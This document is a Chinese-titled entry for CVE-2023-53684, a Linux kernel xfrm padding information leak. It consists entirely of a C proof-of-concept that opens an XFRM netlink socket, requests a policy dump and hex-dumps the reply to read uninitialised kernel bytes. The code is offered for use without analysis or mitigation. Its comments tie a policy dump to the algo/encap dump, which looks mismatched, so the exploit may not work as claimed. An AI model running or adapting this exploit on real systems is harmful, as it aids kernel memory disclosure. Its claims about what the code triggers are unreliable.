CVE-2023-53684 Linux内核xfrm子系统结构体填充信息泄露漏洞

/* CVE-2023-53684 - Linux Kernel xfrm padding information disclosure PoC * This PoC demonstrates how to trigger the xfrm algo/encap dump operation * to read uninitialized padding bytes from kernel structures. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #define NETLINK_XFRM 6 int main(int argc, char *argv[]) { int nlfd; struct sockaddr_nl sa; struct { struct nlmsghdr nh; struct xfrm_userpolicy_info xpinfo; } req; char buf[4096]; struct nlmsghdr *nlh; int len; // Create netlink socket for XFRM nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (nlfd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; if (bind(nlfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(nlfd); return 1; } // Send XFRM_MSG_GETPOLICY to trigger dump of algo/encap structures memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_userpolicy_info)); req.nh.nlmsg_type = XFRM_MSG_GETPOLICY; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; req.nh.nlmsg_seq = 1; req.nh.nlmsg_pid = getpid(); if (send(nlfd, &req, req.nh.nlmsg_len, 0) < 0) { perror("send"); close(nlfd); return 1; } // Receive response and inspect padding bytes len = recv(nlfd, buf, sizeof(buf), 0); if (len > 0) { // Analyze received data for leaked padding content nlh = (struct nlmsghdr *)buf; printf("Received %d bytes from kernel\n", len); printf("Message type: %d\n", nlh->nlmsg_type); // Dump raw hex to inspect potential leaked padding unsigned char *p = (unsigned char *)buf; for (int i = 0; i < len && i < 256; i++) { if (i % 16 == 0) printf("\n%04x: ", i); printf("%02x ", p[i]); } printf("\n"); } close(nlfd); return 0; }